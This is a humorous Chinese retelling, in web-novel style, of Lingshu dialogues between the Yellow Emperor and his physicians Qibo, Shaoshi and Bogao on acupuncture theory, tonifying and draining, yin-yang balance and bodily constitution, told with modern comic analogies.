但我这心里啊，还有个疙瘩没解开。你想啊，那些王公大人们，整天吃的是山珍海味，喝的是琼浆玉液，日子过得那叫一个滋润。结果呢，他们的身体反而变得柔脆，肌肉软绵绵的，血气还跟个小野马似的，慓悍滑利得很。这就让我犯难了，咱们给他们扎针的时候，手法啊、深浅啊、针的数量啊，能跟给老百姓扎针时一个样儿吗？ 你说，咱们是不是得来个‘看人下菜碟’，根据他们的身体状况来个私人定制？不然的话，万一手一滑，劲儿使大了，把人家王爷给扎得龇牙咧嘴的！ 咱们得琢磨琢磨，怎么能让这些养尊处优的大人们，在接受针灸治疗时，既舒服又有效！ 岐伯啊，你觉得我这想法咋样？咱们是不是得好好合计合计，给这些王公大人们来个特别的针灸套餐，让他们也尝尝咱们中医的厉害？” 岐伯一听，嘴角微微上扬，带着点调侃的意味说：“黄帝啊，你这问题问得，就好像在问红烧肉和青菜豆腐汤的味道能不能一样嘛！王公大人们天天大鱼大肉，山珍海味，他们的身体和咱们老百姓那能一样吗？他们的气血，那可不是一般的滑利，那是相当的慓悍啊！咱们给他们针灸，那手法、深浅、针的数量，当然得区别对待啦！” 黄帝一听，眉头舒展，若有所思地点点头，但又忍不住追问道：“那具体怎么个区别对待法呢？” 岐伯嘿嘿一笑，眼神里闪烁着狡黠的光芒，开始了他的爆笑医学课堂：“陛下，听好了啊！咱们这气血啊，有时候滑溜得跟泥鳅似的。你针刚一挨着它，‘嗖’地一下就窜没了，跟脱缰的野马一模一样。所以啊，这时候你得眼疾手快，针进去就得立马拔出来，慢半拍都不行，不然气血早就跑得没影儿了，留下你一人对着空针发呆。 再来说说那气血涩的，嘿，这就跟挤牙膏似的，你得有耐心，慢慢来。针不能拔得太快，得一点一点往外挪，不然气血还没流通开，你针一拔，它又堵回去了。这就像是你挤牙膏，挤一半松手，牙膏又缩回去了，那多亏心啊！ 还有那气血慓悍的，那简直是暴脾气中的战斗机！这时候，针就得选小一点的，扎得浅浅的，跟蜻蜓点水似的。为啥呢？因为你要是针粗了、扎深了，嘿，气血一激动，直接给你顶个大包出来，到时候别说治病了，还得多个处理血肿的活儿。 至于气血涩的，咱得反其道而行之。针得大一点，扎得深一点，还得多留一会儿。这就像是你给家里的水管疏通，不用点力气、不用点时间，它能通顺吗？气血也一样，你得给它点时间，让它慢慢流通起来，这样才能恢复健康嘛！” 黄帝一听，恍然大悟，拍手称赞：“妙哉！妙哉！那这么说来，给老百姓针灸，针得深一点，留得久一点。给王公大人们针灸，就得针得微一点，手法徐一点，对吧？” 岐伯点头如捣蒜：“对对对！就是这个理儿！” 根结篇第五（五） 黄帝有一天闲来无事，就对岐伯说：“岐伯啊，咱们来聊聊形和气之间的逆顺关系吧，这其中的门道可真是不少啊！” 岐伯一听，嘿嘿一笑，说道：“皇上啊，您这问题可真是问对人了！要说这形和气之间的逆顺，咱们得先明白啥是形，啥是气。形呢，就好比是您这身龙袍，看得见摸得着；气呢，就好比是这龙袍里的那股子劲儿，虽然看不见，但没了它，龙袍可就立不起来了！ 咱们先说‘形气不足，病气有余’。这啥意思呢？就好比是您这龙袍穿久了，有点旧了，里面的那股子劲儿也不足了，这时候呢，外来的病气就趁机捣乱，占了上风。这就好比是您这皇宫里进了小偷，您这龙袍旧了，守门的侍卫（也就是您的正气）也累了，小偷（病气）自然就进来了。这时候咋办呢？得赶紧把小偷抓住，赶出去！在咱们中医里，这就叫‘急泻之’，赶紧用针灸、草药啥的，把病气给泻出去！ 再说‘形气有余，病气不足’。这就好比是您这龙袍虽然穿了好久了，但依然光鲜亮丽，里面的那股子劲儿也足得很。这时候呢，外来的病气想进来捣乱，可就难了。这就好比是您这皇宫里守卫森严，小偷想进来，门儿都没有！这时候咋办呢？咱们得赶紧给守卫们加加油，让他们更有劲儿！在咱们中医里，这就叫‘急补之’，赶紧用针灸、草药啥的，给身体补补正气！ 可要是‘形气不足，病气也不足’呢？这就有点麻烦了。就好比是您这龙袍旧了，守卫们也没劲儿了，偏偏这时候小偷也没来捣乱。您说这咋整？这时候啊，咱们可不能轻易动手，得小心翼翼，生怕一不小心就把龙袍给扯破了，守卫们也给弄散了。在咱们中医里，这就叫‘不可刺之’。为啥呢？因为这时候您这身体里的阴阳气血都已经不足了，再动针动药，那可就是雪上加霜了！要是真这么干了，那可就完了，阴阳气血都得枯竭，五脏六腑都得空虚，筋骨髓都得枯干。到时候啊，您这龙袍可就真成破布了，守卫们也都得成逃兵了！您说这多可怕啊！所以啊，这时候咱们得赶紧想法子补补身子，可别真等到那时候才后悔莫及啊！ 反过来呢，要是‘形气有余，病气也有余’呢？这就好比是您这龙袍虽然光鲜亮丽，守卫们也都精神抖擞，但偏偏这时候来了个大盗，想跟您这皇宫斗一斗！这时候咋办呢？咱们得赶紧调集兵马，跟大盗干一场！在咱们中医里，这就叫‘急泻其邪，调其虚实’。赶紧用针灸、草药啥的，把病气给泻出去，同时再给身体补补正气，让守卫们更有劲儿！这样一来啊，大盗就得落荒而逃了！” 黄帝一脸认真地问岐伯：“嘿，岐伯啊，我一直有个问题想不明白，这针灸补泻的道理到底是怎么一回事呢？” 岐伯一听，嘿嘿一笑，说：“这事儿啊，简单得很！咱们中医讲究的就是个平衡，身体里的气血啊，跟咱们生活中的收支一样，得保持个动态平衡。多了就得泻出去点，少了就得补进来点，这就是所谓的‘有余者泻之，不足者补之’。” 黄帝一听，眉头一皱，说：“这道理我懂，但具体怎么操作呢？总不能拿根针乱扎吧？” 岐伯摇了摇头，说：“那当然不行啦！针灸这事儿，可是个技术活。你得先了解病人的体质、病情，然后选择合适的穴位、手法，才能达到补泻的效果。” 黄帝一听，来了兴趣，说：“那你快给我讲讲，这针灸补泻到底怎么个操作法？” 岐伯清了清嗓子，开始了他的爆笑讲解：“好嘞！先说泻法吧。这泻法啊，就像是给身体里的‘气球’放气。你想啊，气球吹得太大了，是不是得放点儿气出去，不然它就炸了？咱们身体里的气血也是一样，要是某个地方气血太旺了，就得用泻法给它‘放放气’。” “具体操作呢，就是得用点儿力，针要扎得深点儿，手法要快点儿，就像是在给身体里的‘气球’扎个小眼儿，让多余的气血流出去。这样一来，身体就平衡多啦！”岐伯边说边比划，逗得黄帝哈哈大笑。 黄帝笑够了，又问：“那补法呢？是不是就像给气球打气一样？” 岐伯点了点头，说：“对头！补法就像是给身体里的‘气球’打气。你想啊，气球瘪了，是不是得给它打点儿气进去，不然它就飞不起来了？咱们身体里的气血也是一样，要是某个地方气血不足了，就得用补法给它‘打打气’。” “具体操作呢，就是得轻柔点儿，针要扎得浅点儿，手法要慢点儿，就像是在给身体里的‘气球’慢慢打气。这样一来，身体就又有劲儿啦！”岐伯说完，又做了一个打气筒的动作，把黄帝逗得前仰后合。 黄帝笑够了，又问：“那针灸补泻有没有什么特别的技巧或者注意事项呢？” 岐伯想了想，说：“当然有啦！首先啊，你得找准穴位。穴位就像是身体里的‘开关’，按对了地方才能有效果。其次呢，你得掌握好手法。手法太重了，病人受不了；手法太轻了，又没效果。所以啊，这针灸啊，可是个细活儿，得慢慢练才行。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝又琢磨起了一个大问题：“哎，岐伯啊，你说咱们这针灸之道，刺法的逆顺到底有啥讲究啊？”黄帝一脸认真，仿佛是在问一个宇宙级别的难题。 岐伯一听，心里暗笑：“这皇上，又开始钻研了。”但他还是一本正经地回答：“陛下啊，这刺法的逆顺，那可是针灸学里的大学问。你要是不懂这个，那可就容易出大乱子了。” 黄帝一听，眉头一皱：“哦？此话怎讲？” 岐伯清了清嗓子，开始娓娓道来：“你想啊，要是咱们在针灸的时候，不辨真假邪气，一股脑儿地乱刺，那可就要坏事了。比如说，一个人体内气血太满，你还给他补，那结果会怎样？” 黄帝挠挠头：“会怎样？” 岐伯笑道：“那可就热闹了！气血太满你再补，就好比给一个已经吃撑了的人再塞一大碗饭，他不得撑得五脏六腑都往外胀啊？到时候，阴阳之气四溢，肠胃撑得跟吹气球似的，肝肺也被挤得没地方待了，整个身体里的阴阳平衡都被打乱了。” 黄帝一听，哈哈大笑：“你这比喻，真是绝了！那要是虚了还泻呢？” 岐伯故作神秘地说：“那可就更惨了。你想啊，一个人本来就气血不足，你再给他泻一泻，那不就等于给一个饿了好几天的人再抽点血吗？经脉空虚，血气枯竭，肠胃呢，也变得松松垮垮，皮肤薄得跟纸似的，毛孔也大得能塞豆子。这样下去，不用我说，你也知道后果了吧？” 黄帝一脸惊愕：“这么严重？那岂不是给人针灸一不小心，就成了杀人凶器了？” 岐伯摇头晃脑地说：“所以啊，咱们针灸大夫，那可得小心谨慎，得把刺法的逆顺摸得透透的。不然，一不小心，可就真成了‘针灸杀手’了。” 黄帝听了，笑得前仰后合：“岐伯啊，你这嘴皮子功夫，真是越来越厉害了。不过话说回来，这刺法的逆顺，到底要怎么掌握呢？” 岐伯收敛了笑容，认真地说：“其实也不难。关键是要懂得辨证施治，看准病人的体质和病情，再决定用补法还是泻法。比如说，一个人要是气血太满，那就得用泻法，把多余的气血给排出去；要是气血不足，那就得用补法，给身体加点油。” 黄帝点了点头：“嗯，这么说来，这针灸之道，还真是深奥啊。” 岐伯笑道：“深奥是深奥，但只要咱们用心去学，总能摸出门道来。再说了，咱们这可是在给人治病救命呢，学点深奥的东西，那也是应该的。” 黄帝突发奇想，对着岐伯说：“岐伯啊，我一直有个问题想问问你，咱们这针灸啊，到底是怎么个调阴阳的法儿？你能不能给我讲讲？” 岐伯一听，心里那个乐呵，心想：皇上又开始琢磨他的医学大道了。于是，岐伯捋了捋胡子，一本正经地说：“用针的要诀啊，那可是大大的学问！关键在于要知道怎么调和阴阳。一旦你把阴阳调和得恰到好处，那人体的精气神儿，自然就熠熠生辉了。阴阳和谐了，形体和气息也就合拍了，这样一来，人的元神就能安安稳稳地藏在身体里，不会轻易跑丢啦！” 黄帝一听，眉头一皱，心里犯嘀咕：“调和阴阳？这听起来怎么这么玄乎？”但他嘴上可没这么说，而是继续追问：“岐伯啊，你这说得倒是轻巧，可具体怎么操作呢？能不能给我来点实际的？” 岐伯一看黄帝这副求知若渴的样子，心里那个得意啊，于是开始滔滔不绝地讲解起来：“咱们中医啊，讲究的就是个阴阳平衡。你看这大自然，有白天黑夜、春夏秋冬，这就是阴阳的体现。人呢，也一样，身体里有阴阳二气。阴呢，就像是那温柔的水，滋润着咱们的身体；阳呢，就像是那熊熊的火，给咱们提供着能量。阴阳平衡了，身体就健康；阴阳失衡了，那就得生病。” “针灸啊，就是咱们调和阴阳的大法宝！咱们通过刺激身体上的穴位，就能调整阴阳二气的平衡。比如说，你阳气太旺了，燥热得不行，那咱们就得给你扎几针，泄泄阳气；要是你阴气太重了，冷得跟冰棍似的，那咱们就得给你补补阳气。这一泄一补之间，阴阳就平衡啦！” 黄帝一听，眼睛一亮：“哎呀妈呀，老岐你这说得跟变魔术似的！那针灸到底是怎么个泄补法呢？” 岐伯嘿嘿一笑：“这你就不懂了吧？针灸啊，那也是有讲究的。咱们得根据病情、体质、季节、时辰等等因素，来选择不同的穴位、不同的针刺手法。比如说，补法呢，就像是给身体加油打气，咱们得慢慢来，不能一下子扎得太猛；泄法呢，就像是给身体放气减压，咱们得快点扎进去，还得来回捻转几下，让阳气能顺利地泄出来。” “而且啊，咱们还得注意针刺的深度和角度。深了浅了、直了歪了，那可都不行！深了可能会伤到内脏；浅了呢，又可能达不到效果。角度呢，也得根据穴位的位置和经络的走向来调整。这一针之间，那可都是大学问啊！” 小主， 黄帝开口又问：“嘿，岐伯，我一直有个疑问，你说咱们这医术界，上工、中工、下工到底有啥区别啊？是不是跟饭店里的大厨、二厨、洗碗工似的，一个比一个菜（差）啊？” 岐伯一听，哈哈大笑，说：“黄帝啊黄帝，你这比喻可真是绝了！不过话说回来，上工、中工、下工的区别，还真不是那么简单。来，我给你细细道来。” 岐伯清了清嗓子，开始他的“医术界吐槽大会”：“先说上工吧，这些大佬级别的医生，那可真是‘平气’的高手。他们看病，就像高手下棋，走一步看十步，能提前预判病情的发展，然后轻轻巧巧地就把病给治了。在他们眼里，人体就像一台精密的机器，哪个零件出了问题，一眼就能看出来，然后手到病除，那叫一个潇洒！” “中工呢，就比较接地气了。他们看病，就像咱们平时打游戏，遇到个Boss，得费点劲才能打过。中工们得好好琢磨琢磨，看看脉象是不是乱了套，然后琢磨着怎么给病人开方子、扎针。虽然过程有点曲折，但好歹也能把病给治好，算是及格线上的好学生吧。” “至于下工嘛，嘿，那就得好好说道说道了。他们看病，简直就是一场灾难片啊！你说他们医术不行吧，他们还非得逞能，结果一出手，就把病人的气给‘绝’了，病情反而越来越重，简直就是‘医死人不偿命’的代名词啊！这可不是我瞎说的，岐黄之术，博大精深，下工们要是不谨慎点，乱来一气，那可真是害人害己啊！” 黄帝听得津津有味，忍不住插嘴道：“那岐伯老兄，你说这下工们到底该怎么做，才能避免成为‘医死人’的罪魁祸首呢？” 岐伯摇了摇头，叹了口气说：“这下工啊，还真得好好学学。他们得看清楚五脏六腑的变化，了解五脉的对应关系，掌握经络的虚实，还得摸摸病人的皮肤，看看是柔嫩还是粗糙。这些基本功要是不过关，那可真是一步步走向‘医死人’的深渊啊！所以啊，我说这下工们，可得千万小心，别一不小心就成了‘医界黑手党’啊！” 黄帝一听，忍不住笑了起来，说：“岐伯老兄，你这比喻真是太逗了！不过话说回来，这医术还真是得好好学，不然一不小心就成了‘医界笑柄’了！” 岐伯也笑了，说：“可不是嘛！医术这东西，可不是闹着玩的。咱们中医讲究的是‘望闻问切’，得全方位了解病人的情况，才能对症下药。不然的话，就像瞎子摸象，摸到哪里算哪里，那可真是害人害己啊！” 说到这里，岐伯突然话锋一转，说：“黄帝啊，你知道吗？其实这针灸啊，也是一门大学问。你看这针灸的穴位，就像是人体上的一个个小开关，按对了，就能治病救人；按错了，那可就得小心了，说不定就把病人给‘电’死了！” 黄帝一听，吓得连忙摆手说：“哎呀妈呀，这针灸听起来好吓人啊！我还是不学了吧！” 岐伯哈哈大笑，说：“黄帝啊黄帝，你这胆子也太小了吧！不过话说回来，这针灸啊，确实得小心。你得知道每个穴位的位置，还得知道怎么扎，扎多深，才能起到治病的效果。不然的话，就像开车一样，你得知道怎么踩油门、怎么踩刹车，不然一不小心就撞车了啊！” 寿天刚柔篇第六（一） 话说有一天，黄帝闲来无事，就找到了他的老朋友少师，俩人坐在一块儿开始聊天。黄帝老爷子开口就问：“少师啊，我听说人的体质啊，那真是千奇百怪，有的刚强，有的柔弱，有的短小精悍，有的高大威猛，还有阴阳之分，你给我讲讲这其中的门道呗？” 少师一听这话，嘿，眼睛一亮，嘴角勾起一抹玩味的笑，慢悠悠地开了腔：“黄帝啊，你这问题问得，那可是真有水平！咱们中医这行当，讲究的就是个阴阳平衡的艺术，深着呢！你得这么想，阴里头啊，它还藏着个小阴阴，阳里头呢，也同样憋着个小阳阳，这跟你家那大冰箱里头还套个小冰箱，是不是一个理儿？一层套一层，奥妙无穷啊！ 你说，这阴阳俩兄弟，那可是形影不离，又爱又恨的一对儿。摸透了它们，那就像是掌握了武林秘籍，针灸起来那叫一个得心应手，指哪儿打哪儿！不然，扎错了地方，嘿，别说治病救人了，没准儿还得闹出点笑话来。 就好比说，你要是把治头疼的针给扎到了治脚疼的穴位上，那病人不得一蹦三尺高，直呼‘大夫，我这头是不疼了，脚咋开始跳起舞来了呢？’所以啊，咱们得把这阴阳之道，研究得透透的，跟自家厨房的调料罐一样熟悉，啥时候该用阳针温补一下，啥时候该用阴针清凉一夏，那得心里有数，手上有准儿！ 总而言之，言而总之，中医这门学问，深奥又有趣，就像是探秘宝藏，每一步都充满了惊喜和挑战。咱们啊，得慢慢品，细细嚼，才能领略到其中的真滋味！” 黄帝一听，觉得有点意思，就继续追问：“那具体怎么操作呢？” 少师一脸高深莫测地说：“治病这事儿啊，你得先弄明白病是从哪儿冒出来的，这才好动手扎针，不然的话，那可就是瞎猫碰死耗子了。你得把自己当成个福尔摩斯，哦不，是中医界的侦探，得瞪大眼睛，竖起耳朵，仔细侦查这病的源头。你还得琢磨琢磨，这病和时节有没有那么点‘剪不断，理还乱’的关系。 咱们先说里头吧，你得和五脏六腑对上号，这就跟找失物得知道是在家里哪个房间丢的一样。五脏啊，那可是阴家的大哥大，地位显赫，不容小觑；六腑呢，就像是阳家的小弟，虽然年轻气盛，但也得好好照应着。它们之间啊，那是错综复杂，相互关联，你得把它们之间的关系梳理清楚，才能对症下药。 再说外面吧，你得和筋骨皮肤对上号。筋骨啊，就像是阴家的保镖，膀大腰圆，力大无穷，保护着里面的五脏六腑不受伤害；皮肤呢，那就是阳家的门脸儿，得时刻保持光鲜亮丽，让人一看就觉得精神抖擞。这二者啊，也是一阴一阳，相互配合，共同维护着身体的健康。 所以啊，咱们中医讲究的就是阴阳平衡，这里面有阴阳，外面也有阴阳。你得把这阴阳之道琢磨透了，才能算是个入门级的中医。不然的话，你就是个半吊子，只会给人添堵，不会给人治病。 你看啊，这五脏六腑，就像是家里的兄弟姐妹，各有各的性格，各有各的本事。你要是惹了其中一个不高兴，那其他几个也得跟着遭殃。所以啊，你得学会和它们好好相处，了解它们的喜怒哀乐，才能让它们在你的指挥下乖乖听话。 而这筋骨皮肤呢，就像是家里的保安和保洁阿姨。保安得时刻警惕着，防止外面的坏人闯进来；保洁阿姨呢，得把家里打扫得干干净净，让人一进门就觉得心情舒畅。这二者啊，也是缺一不可，都得好好对待。 所以啊，要想学好中医，那就得下苦功夫，把里面的五脏六腑、外面的筋骨皮肤都研究透了，才能算是出师了。当然了，这也不是一朝一夕就能搞定的事情，你得有耐心，有毅力，还得有那么点天赋和悟性。不然的话，你就是学个十年八年，也只能算是个半吊子中医，治不了大病，还容易给人留下笑柄。” 黄帝听得津津有味，少师接着说：“所以啊，病要是躲在阴的深处，你就得扎阴经的荥穴和俞穴；病要是跑到阳的表面上，你就得扎阳经的合穴。病要是在阳的里面、阴的外面，你就得扎阴经的经穴；病要是在阴的外面、阳的里面，你就得扎络脉。这就叫对症下药，精准打击！” 黄帝一听，恍然大悟：“原来如此！那这些病有没有什么统称呢？” 少师点点头：“当然有啦！病在阳的呢，咱们就叫它‘风病’，就像风一样到处跑；病在阴的呢，咱们就叫它‘痹病’，就像被绑住了一样动弹不得。要是阴阳两边都病了，那咱们就叫它‘风痹病’，这就像是风和绳子一起上，让你动弹不得还得吹风！” 黄帝一听，哈哈大笑：“你这比喻真是绝了！” 少师也跟着笑：“还没完呢！黄帝啊，你得记住，有些病你看得见摸不着，还不疼，那就是阳病，就像是你的钱包，你看得见它在那儿，但你就是摸不到里面的钱，而且它也不会喊疼；有些病你看不见摸不着，但疼得要命，那就是阴病，就像是你的牙疼，你看不见它在哪儿，但你就是疼得直打滚儿。” 黄帝一听，觉得十分有趣：“那这两种病该怎么治呢？” 少师说：“看不见摸不着但疼得要命的阴病，那是你的阳气还好好的，但阴气受伤了。这时候你得赶紧治阴，别去动阳气，就像是你的牙疼，你得赶紧找牙医，别去跑步消耗阳气了；看得见摸不着还不疼的阳病呢，那是你的阴气还好好的，但阳气受伤了。这时候你得赶紧治阳，别去动阴气，就像是你的钱包空了，你得赶紧赚钱，别去乱花钱了。” 黄帝一听，觉得十分有道理，但又问：“那要是阴阳两边都动了呢？” 少师说：“要是阴阳两边都动了，那就像是你的牙疼加上钱包空了，这时候你又疼又没钱，真是屋漏偏逢连夜雨啊！这时候你得赶紧两边都治，但这种情况一般持续不久，就像是你的牙疼突然好了，但钱包还是空的，你得赶紧抓住机会赚钱啊！” 黄帝一听，哈哈大笑：“少师啊，你这解释真是绝了！让我这个中医小白都听懂了！” 少师也跟着笑：“黄帝啊，咱们中医的阴阳理论啊，就像是生活中的大小事儿，你得用心去体会，才能明白其中的奥妙。” 黄帝点点头：“是啊！少师啊，我觉得咱们中医真是太神奇了！竟然能从人的体质、病症中看出阴阳平衡的道理！” 少师说：“没错！黄帝啊，咱们中医啊，讲究的就是天人合一、阴阳平衡。你看啊，咱们人的身体就像是一个小宇宙，里面有阴阳、五行、脏腑、经络等等各种元素在相互作用、相互制约。咱们中医呢，就像是这个小宇宙的守护者，通过观察、诊断、治疗来保持这个小宇宙的平衡和和谐。” 黄帝一听，感慨万分：“少师啊，你说得对啊！咱们中医真是博大精深啊！我觉得咱们应该好好传承和发扬中医文化，让更多的人了解中医、信任中医、受益于中医！” 一天，黄帝闲着无聊，就去找伯高聊天。黄帝问：“伯高啊，我听说人的形体和气息要是病了，它们之间会有个先后顺序，还有内外对应的规律，这是咋回事呢？” 伯高一听，嘿，这可是他的专业领域啊，立马来了精神，说：“黄帝啊，您这可是问到点子上了！找我就对了，我可是这方面的行家！这风寒嘛，它就像是个调皮捣蛋的小鬼精灵，专挑咱们身体虚弱的时候，趁机溜进来捣乱，让咱们的肉体受尽折磨。而忧恐忿怒这些情绪呢，更是不得了，它们是咱们内心的捣蛋鬼，专门折腾咱们的气息，让咱们的气血运行不畅，那可是比风寒还要难缠的家伙！” 黄帝一听，来了兴趣，笑眯眯地看着伯高，示意他继续说下去。伯高见状，更是来了劲头，开始滔滔不绝地讲解起来。 “您看，咱们中医讲究的是阴阳平衡，气血调和。这气息啊，就像是咱们身体的指挥官，指挥着气血在全身运行。忧恐忿怒这些情绪一上来，气息就开始紊乱，气血也跟着跑偏了。就像是家里的电器，电线要是出了问题，电流不稳定，那电器还能好好工作吗？肯定不行啊！不是跳闸就是短路，最后还得找人来修。” 伯高边说边比划，手舞足蹈的样子引得黄帝哈哈大笑。伯高也不在意，继续说道：“所以啊，咱们要想身体健康，就得学会管理自己的情绪。别让那些捣蛋鬼在咱们心里捣乱，要不然啊，它们可是会害咱们生病的！就像是小孩子不听话，家长不教育，最后还不是得闯出大祸来？” 黄帝听了，连连点头，觉得伯高说得很有道理。伯高见黄帝认可了自己的观点，更是得意洋洋，继续发挥起来。 “咱们中医还有一句话，叫做‘怒伤肝，喜伤心，思伤脾，忧伤肺，恐伤肾’。您看，这每一种情绪都对应着一个脏器。要是情绪管理不好，那五脏六腑都得跟着遭殃。就像是家里的五个孩子，要是其中一个孩子不听话，那其他孩子也得跟着受影响，最后家里还不是乱成一锅粥？” 黄帝一听，觉得很有道理，点了点头说：“嗯，你继续。” 伯高清了清嗓子，继续娓娓道来：“咱们聊聊这风寒这小妖精吧。你想啊，风寒要是瞅准机会，偷偷溜进咱们的身体里捣乱，那它可不会白来一趟，必定会在咱们的肉体上留下点儿‘到此一游’的痕迹。比如说，感冒时候那止不住的鼻涕，还有突如其来的喷嚏，就像是身体在向你大声宣告：‘嘿，风寒这家伙来了，你得注意啦！’ 再来说说那风邪这个小调皮鬼，它可机灵着呢，不满足于在肉体上搞点儿小动作，还非得去骚扰咱们的筋脉。要知道，筋脉在咱们中医里头，那可是身体的传送带，是气血运行的通道，把身体的各个部分都紧密地连接在了一起。风邪这家伙一捣乱，筋脉可就遭殃了，不是这儿抽筋就是那儿疼痛，搞得咱们是坐立不安，苦不堪言。 这风邪啊，就像是个小孩子，非得在筋脉这个传送带上捣乱，让它不能好好工作。有时候呢，它还喜欢跟寒气勾结在一起，那更是不得了，简直是‘狼狈为奸’，让咱们的身体雪上加霜。所以啊，咱们平时可得注意防寒保暖，别让风寒和风邪这两个小家伙有机可乘，不然啊，咱们的身体可得遭罪咯！” 黄帝听了，哈哈大笑说：“伯高啊，你这解释真是太逗了！不过话说回来，这形气外内之相应，还真是有道理啊！” 伯高一看黄帝这么开心，也跟着笑了起来，说：“黄帝，您可别小看了这形气外内之相应。它可是咱们中医理论的重要组成部分呢！您看，咱们中医讲究的是天人合一，认为人是一个整体，身体各个部分都是相互关联的。就像是一个大家庭，家里要是有人生病了，那其他家庭成员肯定也会受到影响。” 黄帝听了，点了点头说：“嗯，这话在理。那伯高，你再说说这形气病到底是怎么影响咱们身体的吧。” 伯高清了清嗓子，说：“好嘞！您看，这气息就像是咱们身体的指挥官，它指挥着身体各个部分的工作。要是气息出了问题，那身体就会跟着乱套。比如说，要是咱们生气了，气息就会变得急促，心跳也会加速，这就是气息在捣乱呢！而要是咱们长期忧虑过度，气息就会变得虚弱，身体也会跟着变得虚弱无力。” 黄帝听了，觉得很有道理，说：“那要是形体出了问题呢？比如说咱们不小心摔伤了，或者得了什么皮肤病之类的。” 伯高说：“这也是一样的道理。形体就像是咱们身体的房子，要是房子出了问题，那住在里面的气息也会受到影响。比如说，咱们要是摔伤了腿，那走路就会不方便，气息也会跟着变得不畅。而要是咱们得了皮肤病，那皮肤就会瘙痒难耐，气息也会变得烦躁不安。” 寿天刚柔篇第六（二） 有一天，黄帝就对他的得力助手伯高说：“喂，伯高啊，要是有人生病了，咱们该怎么用针灸来治他们呢？” 伯高一听，嘿，这可是他的拿手好戏啊！于是他挺直了腰板，清了清嗓子，一本正经地开始回答：“黄帝，您听好了！要是有人病了九天，嘿嘿，咱们给他扎三针，保证他活蹦乱跳；要是病了整整一个月，那咱们就多费点儿劲，扎他十针，也让他舒舒服服地好起来。这针灸的次数嘛，得根据病情的轻重和时间长短来灵活调整，就像咱们吃饭一样，饿了就多吃点儿，不饿就少吃点儿，对吧？” 黄帝一听，心里直乐呵：“哟呵，这伯高还挺会打比方嘛！”不过黄帝可没打算就这么放过他，继续追问道：“那要是有人得了那种超级顽固的痹症，一直都好不了，该怎么办呢？” 伯高一听，眉头一皱，计上心来：“嘿嘿，黄帝，您这可问到点子上了！对于这种超级顽固的痹症，咱们得采取点儿特殊手段。您看啊，咱们得仔细观察病人的血络，就像咱们找宝藏一样，得瞪大眼睛，不放过任何一个角落。一旦找到了那些堵塞的血络，嘿嘿，那咱们就得毫不客气地给它来一针，把这些‘垃圾’全都清理出去！您想象一下啊，这些血络里的淤血就像是咱们家里的垃圾，长时间不清理就会堆积如山，臭气熏天。咱们针灸呢，就像是请了个专业的清洁工，把这些垃圾全都打扫得干干净净，让病人的身体重新焕发生机！” 黄帝一听，哈哈大笑：“哈哈，伯高啊伯高，你可真是个医学界的段子手啊！不过话说回来，你这解释得还真够生动形象的！那咱们以后就这么干了，谁要是得了病，咱们就给他来上一套‘针灸大扫除’，保证让他们药到病除，哈哈！” 不过呢，说到这针灸啊，可不是咱们想象的那么简单。它可是有着深厚的理论基础和实践经验的。咱们先来说说这针灸的“多少远近”吧。其实啊，这指的就是针灸的次数和深浅程度。就像咱们炒菜一样，火候大了菜就糊了，火候小了菜就不熟。针灸也是这样啊，扎得深了可能会伤到内脏，扎得浅了又可能达不到治疗效果。所以啊，这针灸的深浅程度可是个技术活儿，得靠医生多年的实践经验来把握。 再来说说这“血络”吧。咱们中医啊，讲究的是“气血调和”。这气血啊，就像是咱们身体里的运输队，负责把营养物质和氧气输送到身体的各个部位。要是这气血运行不畅了，那身体就会出现各种问题。而这血络呢，就像是气血运行的通道。要是这通道堵塞了，那气血就运行不畅了，身体也就跟着出毛病了。所以啊，咱们针灸啊，就得找到这些堵塞的血络，给它来上一针，把这些“垃圾”全都清理出去，让气血重新畅通无阻！ 不过呢，说到这针灸啊，还有个小插曲得跟大家分享分享。有一次啊，伯高在给病人针灸的时候，一不小心扎偏了，结果那病人疼得嗷嗷直叫。伯高一看，哎呀妈呀，这下可闯祸了！不过呢，他毕竟是个经验丰富的老中医啊，很快就镇定下来，笑眯眯地对病人说：“嘿嘿，您可别介意啊，我这针啊，是给您来了个‘惊喜疗法’，让您体验一下什么是真正的‘痛并快乐着’！哈哈！” 病人一听，哭笑不得：“我说伯高啊，您这‘惊喜疗法’可真是够惊喜的啊！不过话说回来，我这病好像还真有点儿好转了呢！” 伯高一听，心里那个美啊：“哈哈，看来我这‘惊喜疗法’还真有点儿效果呢！不过啊，以后还是得小心点儿，不能再让病人受这种‘惊喜’了！” 黄帝闲来无事，就琢磨起了医术这事儿。他溜达到伯高那儿，一脸严肃地问：“伯高啊，你说这人体内外的病，治疗起来有难易之分，这其中的门道到底是啥呢？” 伯高一听，嘿，这黄帝老爷子今天这是又想来考考我啊！于是他摸了摸下巴上那几缕稀疏的胡子，故作深沉地说：“这事儿啊，得从咱们中医的针灸理论讲起。” 黄帝一听针灸，眼睛立马就亮了，这针灸可是他的心头好啊！于是，他催促道：“快说说，快说说！” 伯高清了清嗓子，开始了他的讲解：“你看啊，如果一个人他的形体（也就是咱们说的外在表现，比如皮肤、肌肉这些）先有了病，但还没影响到内脏呢，这时候咱们给他扎针，那就像给车胎打气，稍微打一点就行，不用打太满。所以，治疗的时间嘛，就减半，咱们称之为‘刺之半其日’。” 黄帝一听，点了点头，但脸上还是一副“你说得这么简单，我才不信呢”的表情。 伯高一看黄帝这表情，心里就乐开了花，心想：今儿个我得好好给你上一课！于是他接着说：“但你要是反过来，内脏先有了病，形体（外在表现）才开始有反应，这时候再给他扎针，那就像给漏气的车胎打气，你得不停地打，才能让它勉强撑起来。所以啊，治疗的时间就得加倍，咱们称之为‘刺之倍其日’。这就是咱们中医针灸里说的，外内难易之应。” 黄帝闲来无事，就找伯高来聊天。黄帝开口就问：“伯高啊，我听说啊，人的身材有松有紧，就像松紧带一样；气息呢，有时候强劲，有时候虚弱，跟打气筒似的；骨头呢，有大有小，跟建筑工地上的砖头一样；肉呢，有硬有软，跟和牛肉干似的；皮呢，有厚有薄，跟牛皮纸和餐巾纸似的。你说，这些玩意儿怎么就能决定一个人能活多久，是不是逗我呢？” 